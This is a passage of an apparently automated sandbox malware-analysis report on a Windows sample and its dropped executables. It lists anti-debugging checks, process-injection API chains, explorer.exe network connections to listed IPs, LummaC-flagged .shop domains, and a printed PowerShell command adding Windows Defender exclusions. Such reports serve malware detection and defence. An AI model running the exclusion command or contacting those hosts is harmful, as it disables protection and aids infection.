OBbnFnW4xNBWulwyhMftp33UtPx4qogYffOPc-euLo8hQxOGnYXxBLwBCLYra25Xu+qUoFb0LRPkSpuT4-evDzh83iZQOGwhThpcGKEPSZmyP6frEKTMFZ9apc634-evLuTQzTLqFK7M5+SuQ5yl7t1q/w44Jf1ItEjtDmGyo-ev3nFqwnuo9IU5OFG44orT5hbzlCf7OWLn2wBnNC8tg-ewyI6Lej9rYYIBZ4idnQ+WstBe5Rm9Z8XMa0TR57r3o-ezUNfgjMc7FKnykM7ACEZfUqTlFu6Q11YurigiTxDeA-ezgda5H9moseim738Ag96i9WAZhZJmZ38+qNxa8k3B0-ez+oi00DYMB7+cVXh4fuork1b7Sy0QlgoJk6XgiU/AM-e0rdYYXwlP79lnKahz0VNAT0W4/55MTNlxRP3DOs9ug-e1J2hsjxZih5j9VZK2SPw/G2ounsBdVCdXvrLoTxMv0-e1gSpno6KmV6x2PZKS7qKrdDWq8DO3RS7TIEUcqixpI-e1tnHkrve/ex6423Gj3ifjmPJAeU19bbWwHE+i04XsE-e162F938bxWKKyC
Source: 87C6.exe, 0000000F.00000003.3303018705.0000000004104000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3304688255.0000000004104000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3335321089.00000000041AB000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3345964305.00000000041C5000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3323809515.00000000041BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Ux2gv4v6nsrdA+zh5qwfTHGk-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-UcI1RjKS9OF5G/EhvoRFiiolwhF
Source: 87C6.exe, 0000000F.00000003.3303018705.0000000004104000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3335479597.000000000416C000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3316675525.0000000004165000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3304688255.0000000004104000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3325033815.000000000416C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aR2A8jl3R3XCyD3rib7A-eWTIkfUAFCy/zej9vy40h39KmlBOW8tlJPQr0coSWS4-eWc7hyu9yIYnA9lS943yi3Id6IUB0gXkCPk6L9z9O9E-eX5/zs2/Wrduc6jvwcwAlj44kh3VVEHh2YYTbNuDJHs-eX99lDaw5cKZrB1NSUcnNo2NCvjRF+TL8DD+i9M+EYE-eYMMgMzpB/NtbQPiBSEmT4KtYcYocIH4Z4rBzfNhZjA-eYaRw4YPYc5AKnINUyLkd92OAhZR+mnFutTa5DUmo24-eZDgh3X6wxy6O3ZuQk14pwtfgmFhvEOHsp2MjGe7zx0-eZTejzfmPScNC3VtxJzu3uhLk5hhQZbqXaHZx5ZgZII-eZTpG+ymvaJ8/fuGSOkGEbdchSRNMw1HXbELtWBcLiQ-eZsUymQ/21Wpp53KM/AIyr6nL9qfXvwMT1gfgz2l2Bo-eaG7eljku31+HW8ixYvvsP1q3wrWZ6aVNEw6TD54KN4-eayshj8+eG34n2TPo5l0P90Ik62D9RYHDSO+hIuldAQ-ebrS2le4TUMiQA0H5KeLbW0JYr4TxHtmxCpTBhDWlHc-ebrh+ZspUq5lEywffQwq6W+zSSif/JlrN69zNWsq1Bc-ebyzC+DtVRPIF6Amzsarkwqtt0pfNuJjIb8fekI7wxM-eb8zsfVnnZhkUi3+LAkxK7nK63SXVt862YmvhmF/EcA-ec9YVs5ul8kjyCUt3CsKWbD2/BHNzDQVkYnrK7oK4uw-eda1zkXIojowugTye4QJfSkQTtzJAnf6dRWmxy+xPTY-edhWOlEbQ9ZEB7LidauaVtlBOWJvswwoiiL6QHTytXw-ed5xGXeVKeAL2ecyTEL69vEUoNtgz+8RadCfC7g8c4I-efIe5RnJujZDKhozIjjTsHp1RkAhji3p2GiLl36u3QM-efWzHX4L5519v26PS8o5kxtcT3Y6ReIfS0WsUL97s+M-efYtkIDxUWjXRo22oTuvp26KnDNaRWG+tKs1jN+7LEE-efvcdUPS6zT9LYIiVHXPAjyGA/VAiY2mCRaVLEVAPzA-ef1VU7jocEiCrbPRXz3z/Wqul7QhDFSJEjM8DaO4SwI-egrOXasNRUwSfypsv2GSNCsQSPFFciuicmi0dpI0sU4-egx8MSEl4LP58Dm9OGfPs/rNBGgUtlXG+jDHF8JHgFs-eiIMxS+q4kA6Oszx1FETHeYsU3hJ/nAGraIv1XaU93U-eiheONssC27rafOVP++3DRnD3+wmX9BkYaLyoIqplDQ-eimk/v27DM9+TYfptEZJlzCEFMsdZ4LVqFYiY9wOTMI-ei9NmNSqE18cJ4zpx/8UwnnWMmvdqxAzfTVXNB/oXJs-ejJvlKMDa64hrz37oWYT/gY9Q06vQWbcI9GVWPmlwhQ-ejLh9VI0ksR79ltiChqc6n/oNUkV1+RDRs+jr4gMku0-ekNbNuxpg4pAhaL2iol5RigFAMzRMm27+lXwLSZ8fS0-ekSeyvflA23x/eAHqptuiyCE5PLmWX5ElhGSN+uvD/c-ekfJ8qAfi0FYR4Jy7SIQBTqFizuOVgzpLIIDwaPPbiU-ekjdD17WnDCjU9PDpOl5lcDG0BwAhYsIbXGrIdCnOz0-ek2FSziiVwYxjuTXzWIF6/2kO+/WZvY+eFr/CefS6+E-elNHbGyW92ZstgLGATu0mHA3SSbISDtdtkpFtRhjxEQ-em+NbzjKc+3YhyAuUDXOgZnYqngRJ897dXrqa00xpbo-ensT1UE3wz/HlezwbWGtMWa9OZf6aBzrndB8LoZ4cVA-eoIxWUkdpDh34fE24Fv65/tHKVLCzfag642xN8IllOU-eoOGhT9aVFRI247Ejw83FZf7GX2NsALrHN3pfR8Zba8-eoYhAd1Izs8/Mq/KRJst1hqNRbhdig4Hfh4Xiop8vxo-eo5PoeVaxkx97uTuBempEP7+uCHa4EoTsiI11dzK6lE-eo8wZvwSUmtNza148gr+4eIv7mREQH5hcXdptYLLSsA-epTxdIKr3fCTYCUyTXPQR/U5AzjKQohjifv4QFESylw-epc7fswQTO9ZHjKBKREWxvccpM8L93ivdKmTiwbyzeQ-eqFnMHheHumUaOZ5/tJTZb0+DDfOC5/rd0pDKNQHd58-eqvZCbB1ZTcQyXOSBfCjTy7E2MYz2xAjVNLO/dGK+os-erBWDQZczqfm0HxNYvnPQtH3LwKVs0F+oP1G9qJ1jrE-erovMFWX+/u4JsrSpcXJb+Q0DdmqJpHmOdusN5GnY7A-eshBQCcBl8aWg1FXGs2G3qduoR0Sd18Phu2S3LeN93c-eswIJDJzP95T1os79KuG40FcM3fVkSNIbNKj4ON2Vo8-etaVDqjXcRAUPdZ0iq1RSrN91fMaWvXekWtW5WaPfpU-etsrVCOBbnFnW4xNBWulwyhMftp33UtPx4qogYffOPc-euLo8hQxOGnYXxBLwBCLYra25Xu+qUoFb0LRPkSpuT4-evDzh83iZQOGwhThpcGKEPSZmyP6frEKTMFZ9apc634-evLuTQzTLqFK7M5+SuQ5yl7t1q/w44Jf1ItEjtDmGyo-ev3nFqwnuo9IU5OFG44orT5hbzlCf7OWLn2wBnNC8tg-ewyI6Lej9rYYIBZ4idnQ+WstBe5Rm9Z8XMa0TR57r3o-ezUNfgjMc7FKnykM7ACEZfUqTlFu6Q11YurigiTxDeA-ezgda5H9moseim738Ag96i9WAZhZJmZ38+qNxa8k3B0-ez+oi00DYMB7+cVXh4fuork1b7Sy0QlgoJk6XgiU/AM-e0rdYYXwlP79lnKahz0VNAT0W4/55MTNlxRP3DOs9ug-e1J2hsjxZih5j9VZK2SPw/G2ounsBdVCdXvrLoTxMv0-e1gSpno6KmV6x2PZKS7qKrdDWq8DO3RS7TIEUcqixpI-e1tnHkrve/ex6423Gj3ifjmPJAeU19b
Source: 87C6.exe, 0000000F.00000003.3303018705.0000000004104000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3335479597.000000000416C000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3316675525.0000000004165000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3304688255.0000000004104000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3325033815.000000000416C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CaR2A8jl3R3XCyD3rib7A-eWTIkfUAFCy/zej9vy40h39KmlBOW8tlJPQr0coSWS4-eWc7hyu9yIYnA9lS943yi3Id6IUB0gXkCPk6L9z9O9E-eX5/zs2/Wrduc6jvwcwAlj44kh3VVEHh2YYTbNuDJHs-eX99lDaw5cKZrB1NSUcnNo2NCvjRF+TL8DD+i9M+EYE-eYMMgMzpB/NtbQPiBSEmT4KtYcYocIH4Z4rBzfNhZjA-eYaRw4YPYc5AKnINUyLkd92OAhZR+mnFutTa5DUmo24-eZDgh3X6wxy6O3ZuQk14pwtfgmFhvEOHsp2MjGe7zx0-eZTejzfmPScNC3VtxJzu3uhLk5hhQZbqXaHZx5ZgZII-eZTpG+ymvaJ8/fuGSOkGEbdchSRNMw1HXbELtWBcLiQ-eZsUymQ/21Wpp53KM/AIyr6nL9qfXvwMT1gfgz2l2Bo-eaG7eljku31+HW8ixYvvsP1q3wrWZ6aVNEw6TD54KN4-eayshj8+eG34n2TPo5l0P90Ik62D9RYHDSO+hIuldAQ-ebrS2le4TUMiQA0H5KeLbW0JYr4TxHtmxCpTBhDWlHc-ebrh+ZspUq5lEywffQwq6W+zSSif/JlrN69zNWsq1Bc-ebyzC+DtVRPIF6Amzsarkwqtt0pfNuJjIb8fekI7wxM-eb8zsfVnnZhkUi3+LAkxK7nK63SXVt862YmvhmF/EcA-ec9YVs5ul8kjyCUt3CsKWbD2/BHNzDQVkYnrK7oK4uw-eda1zkXIojowugTye4QJfSkQTtzJAnf6dRWmxy+xPTY-edhWOlEbQ9ZEB7LidauaVtlBOWJvswwoiiL6QHTytXw-ed5xGXeVKeAL2ecyTEL69vEUoNtgz+8RadCfC7g8c4I-efIe5RnJujZDKhozIjjTsHp1RkAhji3p2GiLl36u3QM-efWzHX4L5519v26PS8o5kxtcT3Y6ReIfS0WsUL97s+M-efYtkIDxUWjXRo22oTuvp26KnDNaRWG+tKs1jN+7LEE-efvcdUPS6zT9LYIiVHXPAjyGA/VAiY2mCRaVLEVAPzA-ef1VU7jocEiCrbPRXz3z/Wqul7QhDFSJEjM8DaO4SwI-egrOXasNRUwSfypsv2GSNCsQSPFFciuicmi0dpI0sU4-egx8MSEl4LP58Dm9OGfPs/rNBGgUtlXG+jDHF8JHgFs-eiIMxS+q4kA6Oszx1FETHeYsU3hJ/nAGraIv1XaU93U-eiheONssC27rafOVP++3DRnD3+wmX9BkYaLyoIqplDQ-eimk/v27DM9+TYfptEZJlzCEFMsdZ4LVqFYiY9wOTMI-ei9NmNSqE18cJ4zpx/8UwnnWMmvdqxAzfTVXNB/oXJs-ejJvlKMDa64hrz37oWYT/gY9Q06vQWbcI9GVWPmlwhQ-ejLh9VI0ksR79ltiChqc6n/oNUkV1+RDRs+jr4gMku0-ekNbNuxpg4pAhaL2iol5RigFAMzRMm27+lXwLSZ8fS0-ekSeyvflA23x/eAHqptuiyCE5PLmWX5ElhGSN+uvD/c-ekfJ8qAfi0FYR4Jy7SIQBTqFizuOVgzpLIIDwaPPbiU-ekjdD17WnDCjU9PDpOl5lcDG0BwAhYsIbXGrIdCnOz0-ek2FSziiVwYxjuTXzWIF6/2kO+/WZvY+eFr/CefS6+E-elNHbGyW92ZstgLGATu0mHA3SSbISDtdtkpFtRhjxEQ-em+NbzjKc+3YhyAuUDXOgZnYqngRJ897dXrqa00xpbo-ensT1UE3wz/HlezwbWGtMWa9OZf6aBzrndB8LoZ4cVA-eoIxWUkdpDh34fE24Fv65/tHKVLCzfag642xN8IllOU-eoOGhT9aVFRI247Ejw83FZf7GX2NsALrHN3pfR8Zba8-eoYhAd1Izs8/Mq/KRJst1hqNRbhdig4Hfh4Xiop8vxo-eo5PoeVaxkx97uTuBempEP7+uCHa4EoTsiI11dzK6lE-eo8wZvwSUmtNza148gr+4eIv7mREQH5hcXdptYLLSsA-epTxdIKr3fCTYCUyTXPQR/U5AzjKQohjifv4QFESylw-epc7fswQTO9ZHjKBKREWxvccpM8L93ivdKmTiwbyzeQ-eqFnMHheHumUaOZ5/tJTZb0+DDfOC5/rd0pDKNQHd58-eqvZCbB1ZTcQyXOSBfCjTy7E2MYz2xAjVNLO/dGK+os-erBWDQZczqfm0HxNYvnPQtH3LwKVs0F+oP1G9qJ1jrE-erovMFWX+/u4JsrSpcXJb+Q0DdmqJpHmOdusN5GnY7A-eshBQCcBl8aWg1FXGs2G3qduoR0Sd18Phu2S3LeN93c-eswIJDJzP95T1os79KuG40FcM3fVkSNIbNKj4ON2Vo8-etaVDqjXcRAUPdZ0iq1RSrN91fMaWvXekWtW5WaPfpU-etsrVCOBbnFnW4xNBWulwyhMftp33UtPx4qogYffOPc-euLo8hQxOGnYXxBLwBCLYra25Xu+qUoFb0LRPkSpuT4-evDzh83iZQOGwhThpcGKEPSZmyP6frEKTMFZ9apc634-evLuTQzTLqFK7M5+SuQ5yl7t1q/w44Jf1ItEjtDmGyo-ev3nFqwnuo9IU5OFG44orT5hbzlCf7OWLn2wBnNC8tg-ewyI6Lej9rYYIBZ4idnQ+WstBe5Rm9Z8XMa0TR57r3o-ezUNfgjMc7FKnykM7ACEZfUqTlFu6Q11YurigiTxDeA-ezgda5H9moseim738Ag96i9WAZhZJmZ38+qNxa8k3B0-ez+oi00DYMB7+cVXh4fuork1b7Sy0QlgoJk6XgiU/AM-e0rdYYXwlP79lnKahz0VNAT0W4/55MTNlxRP3DOs9ug-e1J2hsjxZih5j9VZK2SPw/G2ounsBdVCdXvrLoTxMv0-e1gSpno6KmV6x2PZKS7qKrdDWq8DO3RS7TIEUcqixpI-e1tnHkrve/ex6423Gj3ifjmPJAeU19
Source: explorer.exe, 00000001.00000000.1684483943.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: 6C7B.exe, 0000000A.00000002.1951063967.0000000002A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: K,<=;;?9:VMcI;8
Source: explorer.exe, 00000001.00000000.1682948776.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1686512188.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1682948776.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

API call chain: ExitProcess graph end node

graph_10-4393

Source: C:\Users\user\Desktop\5Yzloz244r.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\5Yzloz244r.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\5Yzloz244r.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D741.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

Code function: 4_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,

4_2_00409543

Source: C:\Users\user\AppData\Local\Temp\87C6.exe

Code function: 14_2_00401114 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

14_2_00401114

Source: C:\Users\user\Desktop\5Yzloz244r.exe

Code function: 0_2_00420AF0 LoadLibraryW,GetProcAddress,VirtualProtect,

0_2_00420AF0

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_005D092B mov eax, dword ptr fs:[00000030h]	0_2_005D092B
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_005D0D90 mov eax, dword ptr fs:[00000030h]	0_2_005D0D90
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_006512AE push dword ptr fs:[00000030h]	0_2_006512AE
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_0047092B mov eax, dword ptr fs:[00000030h]	3_2_0047092B
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00470D90 mov eax, dword ptr fs:[00000030h]	3_2_00470D90
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_0067101E push dword ptr fs:[00000030h]	3_2_0067101E
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 4_2_0040AEA4 mov eax, dword ptr fs:[00000030h]	4_2_0040AEA4
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 4_2_00407D21 mov eax, dword ptr fs:[00000030h]	4_2_00407D21
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 10_2_00407D21 mov eax, dword ptr fs:[00000030h]	10_2_00407D21
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 10_2_0040AEA4 mov eax, dword ptr fs:[00000030h]	10_2_0040AEA4
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_023D00A3 push dword ptr fs:[00000030h]	14_2_023D00A3
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_02590042 push dword ptr fs:[00000030h]	14_2_02590042

Source: C:\Users\user\Desktop\5Yzloz244r.exe

Code function: 0_2_00421580 GetTickCount,SetLastError,GetConsoleAliasesW,CreateDirectoryW,ResetEvent,InterlockedIncrement,DestroyCursor,SetDefaultCommConfigW,FreeEnvironmentStringsW,GetCurrentDirectoryA,EnumDateFormatsExA,GetStartupInfoW,GetModuleHandleExA,OpenJobObjectA,GetConsoleAliasesLengthA,DnsHostnameToComputerNameA,WideCharToMultiByte,GetLocaleInfoA,TzSpecificLocalTimeToSystemTime,SetCurrentDirectoryA,MoveFileExW,OpenWaitableTimerA,CompareStringW,GetProcessHeap,SetProcessWorkingSetSize,

0_2_00421580

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_00401114 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00401114
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_00403309 SetUnhandledExceptionFilter,	14_2_00403309
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_00402F85 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00402F85

Source: C:\Users\user\AppData\Local\Temp\C33B.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: E059.exe.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 187.211.34.223 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 186.147.159.149 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.215.85.120 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.67.46 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.172.128.19 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 138.36.3.134 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.224.203.37 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.20.213.70 443	Jump to behavior

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\87C6.exe

Code function: 14_2_02590110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

14_2_02590110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Thread created: C:\Windows\explorer.exe EIP: 8F11A88	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Thread created: unknown EIP: 33E1A88	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Thread created: unknown EIP: 13A19F0

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Memory written: C:\Users\user\AppData\Local\Temp\87C6.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: sofahuntingslidedine.shop
Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: culturesketchfinanciall.shop
Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: triangleseasonbenchwj.shop
Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: modestessayevenmilwek.shop
Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: liabilityarrangemenyit.shop
Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: claimconcessionrebe.shop
Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: secretionsuitcasenioise.shop
Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: gemcreedarticulateod.shop
Source: 7CB9.exe, 0000000D.00000002.2200054156.00000000000B4000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: resergvearyinitiani.shop

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
